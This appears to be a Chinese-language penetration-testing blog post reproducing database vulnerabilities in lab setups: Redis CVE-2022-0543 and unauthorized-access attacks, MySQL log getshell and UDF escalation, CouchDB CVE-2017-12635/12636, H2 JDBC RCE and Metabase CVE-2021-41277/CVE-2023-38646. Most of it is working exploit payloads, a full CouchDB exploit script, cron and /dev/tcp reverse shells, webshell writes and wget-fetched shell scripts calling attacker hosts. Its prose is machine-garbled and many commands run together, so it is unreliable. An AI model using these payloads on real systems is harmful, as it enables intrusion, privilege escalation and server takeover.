ubuntu 20.04+docker
docker create -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -eVUL_IP=127.0.0.1 vulfocus/vulfocus
建议vulfocus最好搭建在云做事器上,本机搭建的有的环境可能会复现不堪利。
0x03漏洞复现Redis Lua沙盒绕过 命令实行 CVE-2022-0543
该漏洞的存在是由于Debian/Ubuntu中的Lua库是作为动态库供应的。自动添补了一个package变量,该变量又许可访问任意 Lua 功能。我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中实行这个导出函数,即可得到io库,再利用其实行命令

该漏洞的存在是由于Debian/Ubuntu中的Lua库是作为动态库供应的。自动添补了一个package变量,该变量又许可访问任意 Lua 功能
我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中实行这个导出函数,即可得到io库,再利用其实行命令
代码如下
local io_l =package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io");local io = io_l();local f = io.popen("id", "r");local res = f:read("a");f:close();return res
payload如下
eval 'local io_l =package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io"); local io = io_l(); local f = io.popen("id", "r");local res = f:read("a"); f:close(); return res' 0
漏洞复现
eval 'local io_l =package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io"); local io = io_l(); local f = io.popen("ls", "r");local res = f:read("a"); f:close(); return res' 0
这里可以用another redis 这个个管理工具,方便redis数据库利用
eval 'local io_l =package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io"); local io = io_l(); local f = io.popen("find / -nameflag", "r"); local res = f:read("a"); f:close(); return res' 0
这个未授权访问存在很多,而且口试也很常问,实战也能遇见到。
攻击姿势常见有三种,1写入公钥,2写入webshell,3写入操持任务,当然个中有不少细节,我们须要去节制。
1.linux写入公钥
利用条件 Redis做事利用ROOT账号启动,安全模式protected-mode处于关闭状态
许可利用密钥登录,即可远程写入一个公钥,直接登录远程做事器
ssh-keygen -t rsacd /root/.ssh/(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txtcat key.txt | redis-cli -h 目标IP -x set xxx
这里权限不足,这个是vulfocus有问题
知足条件的话可以直接这样,可以自己搭建一个redis环境做实验
详细搭建可参考
https://blog.csdn.net/qq_41210745/article/details/103305262
yes要改成no
环境启动,接着
config set dir /root/.ssh/config set dbfilename authorized_keyssavecd /root/.ssh/ssh -i id_rsa root@目标IP
已经成功写入
进入该ubuntu查看 cd /root/.ssh/
考试测验SSH连接
ssh -i id_rsa root@192.168.48.133
可以看到成功拿下
2.写入webshell
条件条件,有可写权限,存在web做事,知道web路径
连续用该环境下考试测验webshell写入
命令如下
FLUSHALL 利用这个清空之前的配置
条件条件,web目录可以读写
config set dir /tmp 设置WEB写入目录config set dbfilename test.php 设置写入文件名set test "<?php phpinfo();?>" 设置写入文件代码set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"换行防止实行失落败bgsave 保存实行savechmod -R 777 /var/www/html/
这里设置html考试测验写入webshell
3.写操持任务反弹shell
FLUSHALL 记得清空配置
利用条件:Redis做事利用ROOT账号启动,安全模式protected-mode处于关闭状态
环境依然是上面的配置环境
config set dir /var/spool/cronset yy "\n\n\n bash -i >& /dev/tcp/ip/端口0>&1\n\n\n"config set dbfilename xsaveset yy "nnn bash -i >&/dev/tcp/192.168.48.133/9999 0>&1\n\n\n"
把稳:
centos会忽略乱码去实行格式精确的任务操持
而ubuntu并不会忽略这些乱码,以是导致命令实行失落败
可以看到有乱码,ubuntu并未正常实行
主从复制利用https://github.com/n0b0dyCN/redis-rogue-server 得到的是一个交互式的shell
https://github.com/vulhub/redis-rogue-getshell 这个可以直接命令实行
redis-rogue-serve
python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhostIPpython3.6 redis-rogue-server.py --rhost 192.168.48.133 --rport 29325--lhost 192.168.48.132
redis-rogue-getshell
这里记得要编译
cd RedisModulesSDK/makepython3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132-P 6666 -f RedisModulesSDK/exp.so -c "id"python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132-P 6666 -f RedisModulesSDK/exp.so -c "find / -name flag"
实际情形中我们可以灵巧利用exp.so文件,不一定非得用脚本,比如这种情形
天翼杯
考点反序列化,redis主从复制RCE代码
<?phpclass a{public $code = "";function __call($method,$args){eval($this->code);}// function __wakeup(){// $this->code = "";// }}class b{function __destruct(){echo $this->a->a();}}$a=new A();$b=new B();$a->code="phpinfo();";$b->a=$a;echoserialize($b);
布局POP链子,可以看到call魔术方法里面有eval函数,那么须要布局链子触发到call魔术方法。
__call():当调用工具中不存在的方法会自动调用该方法__wakeup()当利用unserialize()反序列化一个工具后,会自动调用该工具的__wakeup方法
这里__destruct方法调用了一个不存在的a方法,那么会调用到__call方法
由于__wakeup方法中$this->code = "";还有preg_match_all('/"[BA]":(.?):/s',$_REQUEST['poc'],$ret);这里有过滤,以是接下来要做到绕过__wakeup和正则,这里利用__wakeup的CVE和php对类名大小写不敏感的特性去绕过,A,B换成a,b,个中__wakeup漏洞事理:在类工具属性个数超过实际个数时就会不实行wakeup函数。
如下O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}绕过wakeupO:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}
这里无法实行system("ls")
蚁剑连接$a->code="eval($_POST["a"]);";
打开之后创造其透露了redis的密码define("REDIS_PASS","you_cannot_guess_it");蚁剑插件连接上
利用EXP.so文件
MODULE LOAD /var/www/html/exp.so
然后就可以进行命令实行了
若有收成,就点个赞吧
mysql0x01mysql学习MySQL 是瑞典的MySQL AB公司开拓的一个可用于各种盛行操作系统平台的关系数据库系统,它具有客户机/做事器体系构造的分布式数据库管理系统。可以免费利用利用,用的人数很多。
0x02环境搭建这里演示用,phpstudy搭建的环境,然后安装phpmyadmin
0x03漏洞复现日志文件包含getshell
利用条件
知道网站路径,mysql版今年夜于5.0
利用条件 须要可读可写的权限,也便是高权限账号
所用到的命令
show variables like '%general%'; 查看日志读写功能
SET GLOBAL general_log='on';开启日志读写功能
select @@basedir;查看mysql所在的绝对路径
SHOW VARIABLES LIKE "secure_file_priv";如果值为文件夹目录,则只许可修正目录下的文件,如果值为NULL则为禁止。
SET GLOBAL general_log_file='C:/phpstudy_pro/WWW/shell.php';修正日志文件路径
修正设置,该为开启,这样才能连续利用。
再次查询,可以创造已经发生了改变
访问验证
select '';
总结,如果SHOW VARIABLES LIKE "secure_file_priv";为NULL则没办法利用into outfile 写文件,那么可以开启日志,修正日志文件路径和文件名为php,然后实行一个带有一句话的查询语句,完成getshell。
mysql udf提权这里利用win10 +phpstudy,直接下个msyql就行了
udf提权是mysql的一种常见的提权办法。
什么是udf?
udf可以理解为用户自定义函数,可以用udf增加一些函数,在mysql里就能用这个函数了。
提权条件
获取mysql的掌握权限。
mysql具有写入权限,即secure_file_priv的值为空。
show global variables like'%secure%';用这个查询
提权背景
拿到了mysql权限,没拿到做事器权限,可以通过mysql提权使其达到拿到做事器的权限
提权实验
实验版本mysql 5.5 操作系统win10
须要udf文件,可以从sqlmap里获取或者msf中获取。
这里可以直接用国光师傅的写好udf16进制
https://www.sqlsec.com/tools/udf.html
show global variables like'%secure%';
如果不是空的话可以这样修正,这个须要在mysql目录下的ini文件进行修正或者添加。
secure_file_priv=''然后重启做事。
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 libplugin 文件夹下文件夹下才能创建自定义函数。
这里我自己在目录下创建一个,也可以用NTFS ADS方法创建目录,但有可能不堪利。
show variables like 'plugin%';
查询创造已经有了,然后进行文件写入。
路径D:phpstudy_proExtensionsMySQL5.5.29libplugin
如果有Can't open shared library 'udf.dll',切换成32位试试。
实战中不堪利,可以轮流考试测验。
创建自定义函数并且调用命令
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('whoami');
select sys_eval('dir');
创造已经成功并且是Administrator权限
couchdb数据库漏洞先容ApacheCouchDB是一个开源数据库,专注于易用性和成为"完备拥抱web的数据库"。它是一个利用JSON作为存储格式,JavaScript作为查询措辞,MapReduce和HTTP作为API的NoSQL数据库。运用广泛,如BBC用在其动态内容展示平台,CreditSuisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和运用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636表露利用
漏洞复现CVE-2017-12635PUT发包创建用户
选择内网映射端口为5984的抓包访问
http://192.168.48.133:54944/_utils/#login
这个为上岸运用
发包目的是增加用户,可以用bp或者postman
PUT /_users/org.couchdb.user:vulhub HTTP/1.1Host:Accept: /Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 110{"type": "user","name": "vulhub","roles": ["_admin"],"roles": [],"password": "vulhub"}
成功添加用户
CVE-2017-12636CVE-2017-12636 exp 命令实行
import requestsimport jsonimport base64from requests.auth import HTTPBasicAuthtarget = 'http://your-ip:5984'command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""version = 1session = requests.session()session.headers = {'Content-Type': 'application/json'}# session.proxies = {# 'http': 'http://127.0.0.1:8085'# }session.put(target + '/_users/org.couchdb.user:wooyun', data='''{"type": "user","name": "wooyun","roles": ["_admin"],"roles": [],"password": "wooyun"}''')session.auth = HTTPBasicAuth('wooyun', 'wooyun')command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" %base64.b64encode(command).decode()if version == 1:session.put(target + ('/_config/query_servers/cmd'),data=json.dumps(command))else:host = session.get(target +'/_membership').json()['all_nodes'][0]session.put(target +'/_node/{}/_config/query_servers/cmd'.format(host),data=json.dumps(command))session.put(target + '/wooyun')session.put(target + '/wooyun/test', data='{"_id":"wooyuntest"}')if version == 1:session.post(target + '/wooyun/_temp_view?limit=10',data='{"language":"cmd","map":""}')else:session.put(target + '/wooyun/_design/test',data='{"_id":"_design/test","views":{"wooyun":{"map":""}},"language":"cmd"}')
H2 是一个开源的嵌入式数据库引擎,纯 java 实现的关系型数据库,不受平台的限定。
未授权访问
创造其可以未授权访问jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;
在JDBC URL输入这个语句点击connect即可未授权访问
RCE姿势
在VPS里面创建个sql文件,然后远程加载利用做事。
re_shell.sqlCREATE TABLE test (id INT NOT NULL);CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascriptJava.type("java.lang.Runtime").getRuntime().exec("bash -c{echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';bash -i >& /dev/tcp/ip/7888 0>&1
远程加载姿势如下,填入python启动的ip和端口
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPTFROM 'http://IP:port/re_shell.sql';
大致先容一下
MongoDB是一个基于分布式文件存储的数据库
由C++措辞编写,旨在为WEB运用供应可扩展的高性能数据存储办理方案。
未授权访问漏洞可以用msf检测
search mongodb
存在未授权访问漏洞
可以利用mongodb连接工具直接连接
metabase数据库剖析metabase是一款开源的大略单纯但强大同时又无缝兼容大数据和传统数据库的剖析工具
Metabase geojson任意文件读取漏洞 (CVE-2021-41277)payload /api/geojson?url=file:/etc/passwd
Metabase 远程代码实行漏洞(CVE-2023-38646)
Metabase是一个开源的数据剖析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云做事和API,然后利用直不雅观的界面进行数据查询、剖析和可视化。Metabase 存在远程代码实行漏洞,可导致攻击者在做事器上以运行 Metabase 做事器的权限实行任意代码。
这里利用vulhub的docker环境,vulfocus可能有问题没复现成功
GET访问
/api/session/properties
expPOST /api/setup/validate HTTP/1.1Host: your-ipContent-Type: application/json{"token": "token值","details":{"is_on_demand": false,"is_full_sync": false,"is_sample": false,"cache_ttl": null,"refingerprint": false,"auto_run_queries": true,"schedules":{},"details":{"db":"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1;CREATETRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS$$//javascriptnjava.lang.Runtime.getRuntime().exec('实行的命令')n$$--=x","advanced-options": false,"ssl": true},"name": "test","engine": "h2"}}
验证一下
python启动一个http做事,然后exec实行curl ip:8899/1.txt
python3 -m http.server 8899
验证成功
考试测验反弹shell
未能成功反弹shell,利用其他方法进行反弹shell,可以实行命令从VPS下载sh脚本然后在用命令运行该脚本进行反弹shell
创建个re_shell.sh,内容如下
!/bin/shbash -c 'exec bash -i >& /dev/tcp/ip/6667 0>&1'实行 wget http://ip:port/re_shell.sh
实行
/bin/bash /tmp/re_shell.sh
成功反弹shell
原创稿件征集